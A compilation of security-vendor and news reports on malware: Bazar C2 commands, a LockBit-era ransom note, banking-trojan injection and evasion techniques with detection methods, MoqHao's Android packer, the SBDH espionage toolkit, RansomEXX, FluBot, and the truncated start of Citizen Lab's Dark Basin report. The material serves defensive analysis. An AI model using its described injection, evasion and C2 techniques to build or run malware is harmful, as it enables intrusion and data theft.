and handles the malware request and notification, it replies to Bazar. This response packet includes the item “Set-Cookies: jklo=…” in the header, whose value is base64 encoded. After base64 decoding the value, Bazar gets an RSA-encrypted 100H long set of data. Using the C2 server’s public key, Bazar is able to decrypt this data set to get to the command string from the C2 server. The “0” of “0 302” is the command number, and “302” is the command data. ### Analyzing the Command and Control (C2) Bazar is able to control the victim’s device with the commands it receives from the C2 server. In the previous section, I identified the C2’s command “0” in the “0 302” string. By going through Bazar’s code, I have been able to identify that it supports the following C2 command numbers: “0”, “1”, “10”, “11”, “12”, “13”, “14”, “15”, “16”, “17”, “18” and “100”. In this section, I explain some of the known commands used in this malware, including what the command packet consists of and the purpose of those commands being used. When Bazar needs to send whichever data the C2 server requests, it sends a “POST” request with the URL “/cgi-bin/req5”, the command number string enclosed in “Cookies”, and the RSA-encrypted data in the “body” of the request. - **Command 0:** The C2 server asks Bazar to send the host string and port it is connecting to and the running time of Bazar on the victim’s device. Below is an example of this data: `"\r\nVerBD 205\r\nmiraclecarwashanddetall.com:443\r\nuptime 232"`. Bazar encrypts it using its private key as the data in the “body” of the “POST” it sends to the C2 server. `"/a9aadd987308f3a5b28d5a0c552c4324/4"` is enclosed in “Cookies” to provide the Victim-ID and command number. - **Command 1:** This command asks Bazar to collect data from the victim’s system, like OS information, domain, user name, public IP address, location and language, all software installed, network information, shared folders, a list of running processes, time zone, CPU information, hard drive capacity, physical memory capacity, and whether Bazar is running in a VM. It calls the APIs GetVersionExA() and GetProductInfo() to obtain the Windows’ Version and Service Pack information. To obtain the public IP address of the victim’s device, Bazar sends a STUN request (UDP packet) to one of Google’s STUN servers, such as "stun2.l.google.com", to retrieve the public IP address. Bazar executes several commands to obtain network-related information and domain trusts from the victim’s device. It then enumerates the system registry to collect the list of installed software on the victim’s device. Bazar calls APIs CreateToolhelp32Snapshot(), Process32First(), Process32Next(), and OpenProcess() to collect information about the running processes on the victim’s system. Bazar also performs some WMI query strings to obtain information about the CPU, drive, and physical memory. When this collection is done, it sends all of the gathered information in the “body” of the “POST” request to the C2 server. - **Command 10, 11:** These commands could contain a link to download other malware, or it could contain the malware directly. Bazar injects this malware into one of the newly-created processes in the following list: - "c:\windows\system32\calc.exe" - "c:\windows\system32\cmd.exe" - "c:\windows\system32\notepad.exe" - "c:\windows\system32\svchost.exe" - "c:\windows\system32\explorer.exe" - "c:\windows\syswow64\calc.exe" - "c:\windows\syswow64\explorer.exe" - "c:\windows\syswow64\cmd.exe" - "c:\windows\syswow64\svchost.exe" - "c:\windows\syswow64\notepad.exe" It then gives the C2 server a status update by replying with a message of “file not downloaded”, “loader started”, “program is running”, or “program start error” in a “POST” request together with a report command string of “/a9aadd987308f3a5b28d5a0c552c4324/3”. - **Command 12, 13:** C2 server replies with a script file to Bazar in a command. Bazar then decrypts the script file and saves it to a Windows temporary folder. Finally, Bazar runs it by calling the API CreateProcessA(). Bazar notifies the C2 server of the status of the script by replying with a message of “program is running” or an error message of “program start error”, “no script”, or “no memory” when an error occurs. - **Command 16:** Bazar reads a file path from the C2 server’s command and collects the file’s contents. It sends the collected data as the “body” of a POST request back to the C2 server. - **Command 17:** The C2 server replies with a piece of native code that has been RSA-encrypted in the command. Bazar decrypts the native code (ASM code) using the C2 server’s public key and deploys it on a newly-created thread to execute. - **Command 100:** When Bazar receives this command, it terminates itself by calling the API TerminateProcess(). ## Conclusion The second part of this analysis is all about the Bazar payload that was downloaded by the Bazar loader. I have shown the three primary anti-analysis techniques used by this Bazar variant. Furthermore, I also showed how Bazar communicates with the C2 server, what control commands Bazar supports, as well as what malicious things Bazar is able to do on a victim’s device with those commands. At this moment, this particular Bazar’s phishing campaign is still active and is frequently being captured by FortiGuard Labs. ## Fortinet Protections Fortinet customers are already protected from this Bazar variant with FortiGuard’s Web Filtering and AntiVirus services as follows: - The Bazar loader download URLs are rated as "Malicious Websites" by the FortiGuard Web Filtering service. - The downloaded files are detected as "W64/Bazar.CFI!tr" and blocked by the FortiGuard AntiVirus service. The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient, and FortiEDR. The Fortinet AntiVirus engine is a part of each of those solutions. As a result, customers who have these products with up-to-date protections are protected. We also suggest our readers to go through the free NSE training -- NSE 1 – Information Security Awareness, which has a module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks. ## IOCs: **URLs** - hxxps[:]//miraclecarwashanddetall[.]com:443/cgi-bin/req5 - hxxps[:]//caexidom[.]bazar - hxxps[:]//ektywyom[.]bazar - hxxps[:]//emliwyyw[.]bazar - hxxps[:]//uhymeked[.]bazar - hxxps[:]//ibykwyyw[.]bazar - hxxps[:]//elicuhem[.]bazar
# Шифровальщики-вымогатели The Digest "Crypto-Ransomware" ## ABCD Ransomware Этот крипто-вымогатель шифрует данные компаний и бизнес-пользователей с помощью AES + RSA, а затем требует выкуп в # BTC, чтобы вернуть файлы. Оригинальное название: в ранних вариантах в записке не было указано. Поэтому для этой статьи было выбрано название ABCD по используемому расширению .abcd. Позже, в конце декабря 2019, в коде и названии появилось слово LockBit, потом стало использоваться расширение .lockbit. Дальше — больше. Похоже на то, что вымогатели не знают, как себя назвать и постоянно меняют названия. ### Обнаружения: - DrWeb: Trojan.Encoder.29662, Trojan.Encoder.30295, Trojan.Encoder.30886, Trojan.Encoder.31783 - BitDefender: Gen:Heur.Ransom.Imps.3, Gen:Heur.Ransom.Imps.1, Trojan.GenericKD.33815280, A Variant Of Win32/Kryptik.HDGL - Malwarebytes: Ransom.LockBit - McAfee: RDN/Ransom, Ransom-Lkbot!75C039742AFD - Microsoft: Ransom:Win32/LockBit.A!MTB, Ransom:Win32/LokiBot!MSR - ESET-NOD32: A Variant Of Win32/Filecoder.NXQ - Avira (no cloud): TR/Downloader.Gen, TR/Crypt.ZPACK.Gen - Symantec: ML.Attribute.HighConfidence, Downloader К зашифрованным файлам добавляется расширение: .abcd. ### Записка с требованием выкупа: ``` All your important files are encrypted! There is only one way to get your files back: 1. Contact with us 2. Send us 1 any encrypted your file and your personal key 3. We will decrypt 1 file for test (maximum file size - 1 MB), its guarantee what we can decrypt your files 4. Pay 5. We send for you decryptor software We accept Bitcoin Attention! Do not rename encrypted files. Do not try to decrypt using third party software, it may cause permanent data loss. Decryption of your files with the help of third parties may cause increased price (they add their fee to our) Contact information: [email protected] Be sure to duplicate your message on the e-mail: [email protected] Your personal id: DR2JZobWr9AxQofCDEkqc8wZxBVcgqHrwHxURb/Ty6zmkjUAbPlY6QpYLTlnhROL ``` ### Перевод записки на русский язык: ``` Все ваши важные файлы зашифрованы! Есть только один способ вернуть ваши файлы: 1. Свяжитесь с нами 2. Отправьте нам 1 любой зашифрованный файл и ваш личный ключ 3. Мы расшифруем 1 файл для теста (максимальный размер файла - 1 МБ), это гарантирует, что мы можем расшифровать ваши файлы 4. Оплатить 5. Мы вышлем вам программу расшифровки Мы принимаем биткойны Внимание! Не переименовывайте зашифрованные файлы. Не пытайтесь расшифровать с помощью сторонних программ, это может привести к постоянной потере данных. Расшифровка ваших файлов с помощью третьих лиц может привести к повышению цены (они добавляют свою плату к нашей) Контактная информация: [email protected] Не забудьте продублировать ваше сообщение на email: [email protected] Ваш личный id: DR2JZobWr9AxQofCDEkqc8wZxBVcgqHrwHxURb/Ty6zmkjUAbPlY6QpYLTlnhROL ``` ### Технические детали Может распространяться путём взлома через незащищенную конфигурацию RDP, с помощью email-спама и вредоносных вложений, обманных загрузок, ботнетов, эксплойтов, вредоносной рекламы, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов. Нужно всегда использовать актуальную антивирусную защиту! Если вы пренебрегаете комплексной антивирусной защитой класса Internet Security или Total Security, то хотя бы делайте резервное копирование важных файлов по методу 3-2-1. - Использует технологию обхода UAC. - Удаляет теневые копии файлов, отключает функции восстановления и исправления Windows на этапе загрузки. Очищает журналы Windows. ### Список файловых расширений, подвергающихся шифрованию: Это документы MS Office, OpenOffice, PDF, текстовые файлы, базы данных, фотографии, музыка, видео, файлы образов, архивы и пр. ### Файлы, связанные с этим Ransomware: - Restore-My-Files.txt - <random>.exe - случайное название вредоносного файла ### Расположения: - \Desktop\ - \User_folders\ - \%TEMP%\ ### Сетевые подключения и связи: - Email: [email protected], [email protected] ### Результаты анализов: - Hybrid analysis - VirusTotal analysis - Intezer analysis - ANY.RUN analysis - VMRay analysis - VirusBay samples - MalShare samples - AlienVault analysis - CAPE Sandbox analysis - JOE Sandbox analysis Степень распространённости: средняя. Подробные сведения собираются регулярно. Присылайте образцы.
# Banking Trojan Techniques: How Financially Motivated Malware Became Infrastructure **By Or Chechik** **October 31, 2022** ## Executive Summary While advanced persistent threats get the most breathless coverage in the news, many threat actors have money on their mind rather than espionage. You can learn a lot about the innovations used by these financially motivated groups by watching banking Trojans. Because attackers constantly create new techniques to evade detection and perform malicious acts, studying monetarily motivated malware can help defenders understand threat actor tactics and protect organizations more effectively. Some of the banking Trojans described here are historically known for being financial malware, but now they’re primarily used as infrastructure to deliver other malware. By preventing techniques used by banking Trojans, you can also stop other types of threats. We’ll survey techniques used by notorious banking Trojan families to evade detection, steal sensitive data, and manipulate data. We’ll also describe how those techniques can be blocked. These families include Zeus, Kronos, Trickbot, IcedID, Emotet, and Dridex. Palo Alto Networks customers are protected from such attacks using Cortex XDR and WildFire. ## What Are Webinjects? Webinjects are modules that can inject HTML or JavaScript before a web page is rendered and are often used to trick users. They are known to be abused by banking Trojans, as well as being employed to steal credentials and manipulate form data inside web pages. In most banking Trojan families, there is at least one webinjects module. An early stager of the banking Trojan usually injects the banking Trojan’s main bot into a Windows process, and that process injects the webinjects module into the machine’s available web browser processes. The webinjects module hooks the API calls responsible for sending, receiving, or encrypting data sent to a web server. By intercepting the data before it is encrypted, the malware can read HTTP-POST headers and manipulate them on the fly. By fully controlling the HTTP headers just before the webpage is rendered, the malware can completely modify the forms and fool the user. The malware may inject HTML or JavaScript code to trick the user into inserting sensitive information, such as a PIN code or credit card number, enabling the malware to collect it. The malware can extract this information and send it to its command and control (C2) server without actually sending the forged headers to the targeted web page server. ### How to Detect Webinjects This technique can be prevented by detecting an injection into a web browser process. The injected thread calls the `NtProtectVirtualMemory` function where the `NewAccessProtection` argument is `PAGE_EXECUTE_READWRITE` and the `BaseAddress` argument is an address to a library function targeted by banking Trojans. Some banking Trojans opt to avoid code injection. Instead, they suspend the remote process threads and install the hooks remotely. Inspecting remote `NtProtectVirtualMemory` calls can detect this variant technique. ### Infecting Web Browsers During Process Creation Some banking Trojans aim to infect a target process as soon as it is launched, by injecting code into a predicted parent process of the real target. Once the banking Trojan executes in the context of the parent process, it hooks process creation library functions and waits until the real target is created. Inside the hook, the banking Trojan manipulates the process creation flow. The explorer.exe and runtimebroker.exe parent processes are frequently abused for this goal. ### How to Prevent Attempts to Infect Web Browsers During Process Creation This technique can be prevented by looking for an injection into explorer.exe or runtimebroker.exe, where the injected thread hooks process creation functions like `NtCreateUserProcess`, `NtCreateProcessEx`, `CreateProcessInternalW`, `CreateProcessA`, or `CreateProcessW`. ### Named Pipe Communication Between Injected Processes Many banking Trojans use named pipes to communicate with various processes under the threat actor’s control. To do this, they inject their main bot into a Windows process and then inject their other modules into different processes according to the module’s purpose. They then establish communication between the different processes using named pipes. ### How to Prevent Named Pipe Communication Between Injected Processes This technique can be prevented by inspecting named-pipe events. An injected thread creates a named pipe inside a Windows process, and then another injected thread that lives inside a web browser attempts to connect to that same named pipe. ### Heaven’s Gate Injection Technique Heaven's Gate is a technique used by malware, which enables a 32-bit (WoW64) process to execute 64-bit code by performing a far jump/call using segment selector 0x33. Modern malware uses Heaven's Gate to inject into both 64-bit and 32-bit processes from a single 32-bit process on x64 systems. This bypasses WoW64 API hooks, hinders analysis on some debuggers, and fails emulation on some sandboxes. ### How to Prevent Heaven's Gate A WoW64 process usually goes through the `wow64cpu.dll` to perform the transition to x64 CPU mode. Heaven's Gate does this transition manually. Prevention methods can find Heaven's Gate by inspecting whether a WoW64 process system call didn’t go through the `wow64cpu.dll`. ### Evasive Process Hollowing by Entrypoint Patching Process hollowing is a process injection technique that creates a new legitimate process in a suspended mode, unmaps its main image, and replaces it with malicious code. A known technique for evading detection is to patch the process entry point with a small jump that redirects execution to the payload without actually using `NtGetContextThread` or `NtSetContextThread` functions or unmapping the main image. ### How to Prevent Evasive Process Hollowing by Entrypoint Patching This technique can be prevented either by inspecting whether the address argument provided to the calls of `NtWriteVirtualMemory` or `NtProtectVirtualMemory` is a remote process entry point or by detecting suspicious remote mapping and reading of svchost.exe memory. ### PE Injection Common injection methods used by banking Trojans involve writing a mapped PE into a remote process using `WriteProcessMemory`. Some malware families try to obscure the call by wiping artifacts from the buffer, such as wiping the PE header. ### How to Prevent PE Injection This technique can be prevented by inspecting the buffer sent to `NtWriteVirtualMemory` for executable artifacts. ### Process Injection via Hooking Hooking can be used as an injection technique. Injecting a banking Trojan’s main payload into a legitimate-looking process maintains stealth and helps avoid endpoint protection detection. This technique utilizes hooking to get code execution, usually by hooking a frequently called API function with a jump to a payload/shellcode. ### How to Prevent Injection via Hooking This technique can be prevented by inspecting calls to `NtProtectVirtualMemory` and `NtWriteVirtualMemory`. The provided address argument for `NtProtectVirtualMemory` is an exported function from one of the Windows libraries, and the `NtWriteVirtualMemory` written buffer is a hooking stub. ### AtomBombing Injection Technique AtomBombing is a technique that allows malware to inject code while avoiding calling suspicious APIs that security vendors are watching. Dridex uses a slightly modified AtomBombing technique that injects one of its stages into a Windows process (usually explorer.exe) and employs various steps to cause financial data theft. ### How to Prevent AtomBombing and its Variants These techniques can be prevented by inspecting whether the arguments provided to `NtQueueApcThread`/`NtSetContextThread` calls point to a suspicious API. ## Conclusion Threat actors who are in it for the money use a wide range of malware techniques for injection and financial fraud, and they are always looking for new ways to develop evasive techniques. We have explored some of the more interesting banking Trojan techniques and how they’re used to steal victims’ sensitive data. Finally, we describe how these techniques can be used to detect malicious behavior, so it can be prevented. Palo Alto Networks customers using Cortex XDR receive protections from such attacks in different layers, including the following: - Local Analysis Machine Learning module - Behavioral Threat Protection - Behavioral indicators of compromise (BIOC) and Analytics BIOCs rules These layers identify the tactics and techniques that banking Trojans use at different stages of their execution. Palo Alto Networks customers also receive protections against the attacks discussed here through the WildFire cloud-delivered security subscription for the Next-Generation Firewall. ## Indicators of Compromise - **Trickbot**: `testnewinj32Dll.dll`: `4becc0d518a97cc31427cd08348958cda4e00487c7ec0ac38fdcd53bbe36b5cc` - **Webinjects**: `ef6603a7ef46177ecba194148f72d396d0ddae47e3d6e86cf43085e34b3a64d4` - **Emotet**: `dd20506b3c65472d58ccc0a018cb67c65fab6718023fd4b16e148e64e69e5740` - **Kronos**: `aad98f57ce0d2d2bb1494d82157d07e1f80fb6ee02dd5f95cd6a1a2dc40141bc` - **Zeus**: `0f409bc42d5cd8d28abf6d950066e991bf9f4c7bd0e234d6af9754af7ad52aa6` - **IcedID**: `358af26358a436a38d75ac5de22ae07c4d59a8d50241f4fff02c489aa69e462f` - **Dridex**: `ffbd79ba40502a1373b8991909739a60a95e745829d2e15c4d312176bbfb5b3e`
# A native packer for Android/MoqHao Update May 20, 2021. Added info on Pinterest URLs + Kudos to + actually was discovered on May 12 not May 13. On May 12, 2021 a new sample of Android/MoqHao (aka XLoader, Wroba) banking trojan was detected. There are several changes compared to 2019: new commands, communicating CnC URL through malicious Pinterest accounts etc. See below. sha256: aad80d2ad20fe318f19b6197b76937bf7177dbb1746b7849dd7f05aab84e6724 Comparing sample of 2021 (sha256: aad80d2ad20fe318f19b6197b76937bf7177dbb1746b7849dd7f05aab84e6724) with sample of 2019. This is the part of the malicious payload that processes (malicious) Pinterest accounts to retrieve information on the CnC. For each targeted bank, the malware searches for the corresponding package on the smartphone, displays a given Pinterest URL and “hint” message. In this article, we will focus on the packer which is quite interesting because it uses a native library + the decryption algorithm has changed. ## Decrypting the payload The malware is packed. The unpacking process consists in processing correctly an encrypted file in an asset directory named `./whrlrsu`. The asset is encrypted with an XOR key, and zipped. The XOR key is memorized in the encrypted file at the 12th byte. I implemented a payload decryptor, available on GitHub. ## Preparing dynamic class Loading dynamic classes is typically done via the `DexClassLoader` class, from the Android API. To conceal it loads a dynamic class, the malware does not directly call `DexClassLoader`. Instead, it implements a native library (`libgdx.so`) that calls `DexClassLoader` from the native layer. A `DexClassLoader` object is instantiated by function `nd()`. This consists in (1) calling `FindClass`, (2) searching for a constructor, and (3) using the constructor to create a new object. The native library implements the following low level tasks: - `Object cr(Class class)`: calls `create()` for the given class (`com.Loader`). This actually instantiates a `Loader` object. - `Object lrd(int arg0, Object arg1, String classname, String arg3)`: calls `loadClass()` on the given class name and returns the loaded class object. - `String g(int arg0)`: returns a different string depending on the argument. Beware, JEB currently decompiles it incorrectly: you must read the assembly. If the integer is 0, the routine returns “dalvik.system.DexClassLoader”, for 1 it returns “com.Loader”, for 2 “()Ljava/lang/Object;” and for 3 “java.util.zip.InflaterInputStream”. In our case, the malware uses the routine with argument 1, so `g()` returns “com.Loader”. This is provided to `lrd()`, so the malware will load a class named `com.Loader` and contained in the dynamic DEX. Finally, it locates the method `create()` within `com.Loader`. There are some other native functions, but they are not used in the next stage. Note that up to now, the malware does not execute its payload, it only “prepares” things. This is all `OmApplication.onCreate()` does. Execution is within the next stage. ## Executing the payload The next stage occurs when the main activity is launched. Actually, strangely, the manifest references 2 main activities: `adlbect.kvActivity` and `adlbect.BnActivity`, but actually `adlbect.kvActivity` does nothing more than calling `adlbect.BnActivity`. Silly `kvActivity` does nothing more than starting `BnActivity`. `BnActivity` starts the `WqService` — we’ll discuss it later — and calls native function `a.ed()`. The method decompiles in JEB quite nicely, and we quickly recognize code to hide an application icon. Hiding an application icon consists in calling `setComponentEnabledSetting` method (name is truncated on the image above) on the `PackageManager` class, with special flags `PackageManager.COMPONENT_ENABLED_STATE_DISABLED` and `PackageManager.DONT_KILL_APP`. This is a well-known trick to run an app while hiding its application icon. As for the `WqService`, it launches `start()` of `com.Loader` — this is how the banking trojan payload actually starts — and sets an alarm in 30 seconds. This is `onStartCommand()` of `WqService`. This method is automatically called by Android when the `WqService` starts. `a_set_alarm` calls native function `a.snc()` to set an alarm. I don’t actually know what it uses this alarm for. The implementation hardens the reversing because it does not call methods directly but delegates the work to 2 native functions: `a.start()` calls `com.Loader.start()`, and `a.snc()` to set the alarm. ## List of native functions, and their description, in libgdx.so Kudos to @MalwareHunterTeam and @bl4ckh0l3z.
# Espionage Toolkit Targeting Central and Eastern Europe Uncovered By Tomáš Gardoň Over the course of the last year, ESET has detected and analyzed several instances of malware used for targeted espionage – dubbed **SBDH toolkit**. Using powerful filters, various methods of communication with its operators, and an interesting persistence technique, it aims to exfiltrate selected files from governmental and public institutions, which are mostly focused on economic growth and cooperation in Central and Eastern Europe. ESET’s SBDH findings were presented during the Copenhagen Cybercrime Conference 2016 by researchers Tomáš Gardoň and Robert Lipovský. This toolkit – actually only its initial part – was spreading as an executable with a double extension attached to a phishing email (counting on Windows’ default behavior of hiding an extension). To further increase its chances of being run by the receiver, it uses legitimate looking icons of several Microsoft applications or a Word document. Upon successful execution, the malware contacts a remote location in order to download two other main components of the toolkit: a backdoor and a data stealer. The combination of these modules provides the attacker not only with full remote control of the compromised computer, but also with an advanced method of data exfiltration. Thanks to powerful filters, the operator can specify in great detail which data should be exfiltrated, using conditions such as file extension, date of creation, file size, and others. These can be modified via the malware configuration files. Because all of the components of this espionage toolkit require connection to the C&C server, the malware depends heavily on handling network communication. To increase its chances, it uses multiple methods for connection. First, it attempts to use the HTTP protocol. If that fails, the SBDH malware opts for a second method and tries to communicate via SMTP protocol using a free external gateway. As a last resort, it has the capability to communicate by injecting specially crafted emails into Microsoft Outlook Express. This way, injected emails were sent under the account of the currently logged user, allowing the malware to bypass security measures (assuming the user had rights to send and receive emails). These malicious messages created by the malware were then placed directly in a victim’s outbox, to avoid their attention. In cases of incoming communication, the malware searched the victim’s inbox in order to identify emails received with a specific subject. If the toolkit found such emails, they were parsed and checked for malware commands. Finally, the subjects of these emails were changed to prevent any further examination by the malware. However, this last option was only used up until 2006, when Outlook Express was replaced by the newer Windows Mail application. Since then, the developers of this toolkit have increasingly focused on improving the HTTP communication method and started camouflaging communications with the C&C server by using fake image files (.JPG, .GIF) to carry the data. In case of the C&C server’s unavailability, the backdoor component had yet another “backup solution” – a hard-coded URL pointing to a fake image (hosted on a free blog webpage) that contained the address of an alternative C&C server. Some of the analyzed samples of this component implemented an interesting persistence method; the malware was replacing the handler for Word documents. It means, whenever the infected system tries to open/edit a Word document, the malware gets executed. Last but not least, if you are asking yourself where the name of the toolkit comes from, the “SBDH” string found in compilation paths of its downloader and – more interestingly – the string “B64SBDH”, acts as a trigger to download its remaining components from a remote server. Using similar techniques as the malware in **Operation Buhtrap**, the SBDH espionage toolkit proves that even advanced threats are still being spread via simple vectors, such as malicious email attachments. Yet, such risks can be spotted by properly trained staff in organizations and further mitigated by implementing a reliable multi-layered security solution. ## Hashes - 1345B6189441CD1ED9036EF098ADF12746ECF7CB - 15B956FEEE0FA42F89C67CA568A182C348E20EAD - F2A1E4B58C9449776BD69F62A8F2BA7A72580DA2 - 7F32CAE8D6821FD50DE571C40A8342ACAF858541 - 5DDBDD3CF632F7325D6C261BCC516627D772381A - 4B94E8A10C5BCA43797283ECD24DF24421E411D2 - D2E9EB26F3212D96E341E4CBA7483EF46DF8A1BE - 09C56B14DB3785033C8FDEC41F7EA9497350EDAE
# Ecuador's state-run CNT telco hit by RansomEXX ransomware Ecuador's state-run Corporación Nacional de Telecomunicación (CNT) has suffered a ransomware attack that has disrupted business operations, the payment portal, and customer support. CNT is Ecuador's state-run telecommunication carrier that offers fixed-line phone service, mobile, satellite TV, and internet connectivity. Starting this week, the CNT website began displaying an alert warning that they suffered an attack and that customer care and online payment are no longer accessible. "Today, July 16, 2021, the National Telecommunications Corporation, CNT EP, filed a complaint with the State Attorney General's Office for the crime of 'attack on computer systems' so that the preliminary investigation is carried out and the responsible," read the alert translated into English. "This attack affected the care processes in our Integrated Service Centers and Contact Center; in this regard, we indicate to our users that their services will not be suspended for non-payment. We must inform our clients, massive and corporate, that their data is duly protected. We also inform that services such as calls, internet, and television operate normally." While CNT has not officially stated that they suffered a ransomware attack, BleepingComputer has learned that the attack was conducted by a ransomware operation known as RansomEXX. Security researcher Germán Fernández shared with BleepingComputer a hidden link to the group's data leak site that warns CNT that the gang would leak data stolen during the attack if CNT did not pay a ransom. "Your time is LIMITED! When this time will come to end, there are two ways: we will RAISE the ransom amount or PUBLISH your files. You will lose the opportunity to contact us after the data PUBLICATION. If you REALLY WANT to prevent data leak, contact us RIGHT NOW. We have downloaded 190GB+ of your files and we are ready to publish it." - RansomEXX. This page is currently hidden from the public and can only be accessed via the direct link. These hidden pages are commonly included in ransom notes to prove that a ransomware operation stole data during an attack. In CNT's press statement, the company states that corporate and customer data are secure and have not been exposed. However, the RansomEXX gang claims to have stolen 190 GB of data and shared screenshots of some of the documents on the hidden data leak page. The screenshots seen by BleepingComputer include contact lists, contracts, and support logs. The ransomware operation originally launched under the name Defray in 2018 but became more active in June 2020 when it rebranded as RansomEXX and began to target large corporate entities. Like other ransomware gangs, RansomEXX will compromise a network through purchased credentials, brute-forced RDP servers, or by utilizing exploits. Once they gain access to a network, they will quietly spread throughout the network while stealing unencrypted files to be used for extortion attempts. After gaining access to an administrator password, they deploy the ransomware on the network and encrypt all of its devices. As is becoming common among ransomware operations, RansomEXX created a Linux version to ensure they can target all critical servers and virtual machines. The RansomEXX gang has a history of high-profile attacks, including Brazil's government networks, Texas Department of Transportation (TxDOT), Konica Minolta, IPG Photonics, and Tyler Technologies. BleepingComputer has contacted CNT with further questions but has not received a response at this time.
# Woche 12: Schadsoftware «FluBot» in der Schweiz wieder aktiv 29.03.2022 - Der Meldeeingang beim NCSC war in der letzten Woche leicht erhöht. Dem NCSC wurden SMS gemeldet, mit welchen erneut versucht wird, das Opfer zu verleiten, die Schadsoftware «FluBot» auf dem Smartphone zu installieren. Zudem erhielten Website-Besitzer elektronische Post von angeblichen ukrainischen Hackern, welche vorgaben, die Website gehackt zu haben und einen «Spendenbeitrag» forderten. ## Die Schadsoftware «FluBot» ist zurück In der letzten Woche wurden dem NCSC zahlreiche SMS mit Benachrichtigungen zu angeblichen Paketlieferungen in diversen Textvarianten gemeldet. Bei der Formatierung gab es allerdings Gemeinsamkeiten: In den Wörtern waren jeweils zahlreiche Leerzeichen enthalten. Der Link unter dem Text führte auf eine Webseite, welche das Opfer aufforderte, eine Software des Paketdienstleisters auf das Android Smartphone herunterzuladen und zu installieren. Bei der Software handelt es sich jedoch um die in der Schweiz nicht unbekannte Schadsoftware «FluBot». Die letzte große Welle traf die Schweiz im Herbst 2021. Damals wurden SMS mit einer angeblichen Sprachnachricht in großer Zahl versendet. Das NCSC hat darüber berichtet. International werden auch SMS mit dem Text «Bist Du das auf dem Video» beobachtet, aber auch gefälschte Aufforderungen zur Aktualisierung von Browser oder Betriebssystem gehören zum Repertoire von «FluBot». Typischerweise wechseln die Angreifer ihre Zielgebiete in kürzester Zeit, meistens bereits nach wenigen Tagen. Kampagnen wurden seit Dezember 2021 vor allem in Australien und Deutschland beobachtet. In der Schweiz werden die SMS mit den Paketbenachrichtigungen seit dem 18. März 2022 versandt. «FluBot» hat sich unter anderem auf den Diebstahl von SMS auf Mobiltelefonen spezialisiert. Ziel dabei ist, in den gestohlenen SMS so genannte Einmal-Passwörter zu finden. Nach einer Infektion wird zudem das ganze Adressbuch des infizierten Smartphones an den Kontrollserver der Angreifer gesendet. Das Smartphone erhält danach eine Liste mit Telefonnummern, die von anderen gehackten Smartphones stammen, an die es die bösartige SMS senden soll. Auch wenn diese Schadsoftware lediglich Android-Geräte angreift, müssen sich auch Nutzende von Geräten mit dem iOS-Betriebssystem in Acht nehmen und sollten keine Links in SMS anklicken. **Installieren Sie keine Software, die außerhalb der offiziellen Stores der Betriebssysteme angeboten wird.** Insbesondere sollten Sie keine Software installieren, welche Sie über einen Link in einer SMS oder über einen anderen Messenger-Dienst (WhatsApp, Telegram usw.) erhalten haben. Falls Sie dennoch eine solche Software installiert haben, sollten Sie das Gerät von einer Fachperson überprüfen lassen und während dieser Zeit weder Bankgeschäfte noch Online-Einkäufe tätigen. Geben Sie auch keine Passwörter ein. Das Zurücksetzen des befallenen Geräts auf die Werkseinstellungen ist nahezu die einzige Möglichkeit, diese Schadsoftware vom Gerät zu entfernen. ## Angebliche Hacker aus der Ukraine fordern eine «Spende» Das NCSC erhielt letzte Woche außerdem mehrere Meldungen zu Drohnachrichten an Website-Besitzende von angeblichen ukrainischen Hackern. Die Schreiben wurden jeweils über das Kontaktformular der Webseiten abgesetzt. Die Hacker gaben dabei vor, eine Schwachstelle in der Webseite gefunden zu haben und forderten den Webseitenbesitzer auf, eine «Spende» von 0.05 BTC (aktuell ca. 2000 CHF) auf ein vorgegebenes Bitcoin-Konto zu transferieren. Sollte der Webseitenbesitzer der Forderung nicht nachkommen, dann werde die Seite gekapert und ein Banner eingeblendet, welches alle Besucher auffordere, der Ukraine zu helfen. Sollte das Banner durch den Besitzer entfernt oder die Schwachstelle geschlossen werden, werde das Banner erneut installiert und eine neue Schwachstelle gefunden. Sollte das nicht funktionieren, drohten die Angreifer, die Domäne bei der Registrierungsstelle dauerhaft zu löschen. Dieses Schreiben war selbstverständlich nur ein «Bluff». Der Fall zeigt aber, dass die Tragödie des Krieges in der Ukraine in verschiedenster Weise auch von Betrügern für ihre Zwecke ausgenutzt wird. Das NCSC hat bereits am 8. März 2022 darauf aufmerksam gemacht. Auch die Kantonspolizei ZH hat letzte Woche vor Betrugsversuchen gewarnt. **Lassen Sie sich nicht einschüchtern. Melden Sie im Zweifelsfall verdächtige Nachrichten dem NCSC oder der Polizei.** Natürlich sollten Sie aber Webserver und alle Webapplikationen auf dem neuesten Stand halten. ## Generell für Spenden gilt: - Gehen Sie nicht auf Kontaktaufnahmen per E-Mail ein. - Vermeiden Sie Spendenzahlungen per Kreditkarte. - Überweisen Sie keine Kryptowährungsguthaben. - Versenden Sie keine Geschenkgutschein-Codes (Google Play, Apple iTunes etc.). Am besten nutzen Sie nur IBAN-Konten von Hilfswerken, welche ZEWO zertifiziert sind.
# Dark Basin: Uncovering a Massive Hack-For-Hire Operation **June 9, 2020** **Research** **By John Scott-Railton, Adam Hulcoop, Bahr Abdul Razzak, Bill Marczak, Siena Anstis, and Ron Deibert** ## Key Findings - Dark Basin is a hack-for-hire group that has targeted thousands of individuals and hundreds of institutions on six continents. Targets include advocacy groups and journalists, elected and senior government officials, hedge funds, and multiple industries. - Dark Basin extensively targeted American nonprofits, including organizations working on a campaign called #ExxonKnew, which asserted that ExxonMobil hid information about climate change for decades. - We also identify Dark Basin as the group behind the phishing of organizations working on net neutrality advocacy, previously reported by the Electronic Frontier Foundation. - We link Dark Basin with high confidence to an Indian company, BellTroX InfoTech Services, and related entities. - Citizen Lab has notified hundreds of targeted individuals and institutions and, where possible, provided them with assistance in tracking and identifying the campaign. At the request of several targets, Citizen Lab shared information about their targeting with the US Department of Justice (DOJ). We are in the process of notifying additional targets. ## Introducing Dark Basin We give the name Dark Basin to a hack-for-hire organization that has targeted thousands of individuals and organizations on six continents, including senior politicians, government prosecutors, CEOs, journalists, and human rights defenders. With high confidence, we link Dark Basin to BellTroX InfoTech Services (“BellTroX”), an India-based technology company. Over the course of our multi-year investigation, we found that Dark Basin likely conducted commercial espionage on behalf of their clients against opponents involved in high-profile public events, criminal cases, financial transactions, news stories, and advocacy. This report highlights several clusters of targets. In future reports, we will provide more details about specific clusters of targets and Dark Basin’s activities. ## Thousands of Targets Emerge In 2017, Citizen Lab was contacted by a journalist who had been targeted with phishing attempts and asked if we could investigate. We linked the phishing attempts to a custom URL shortener, which the operators used 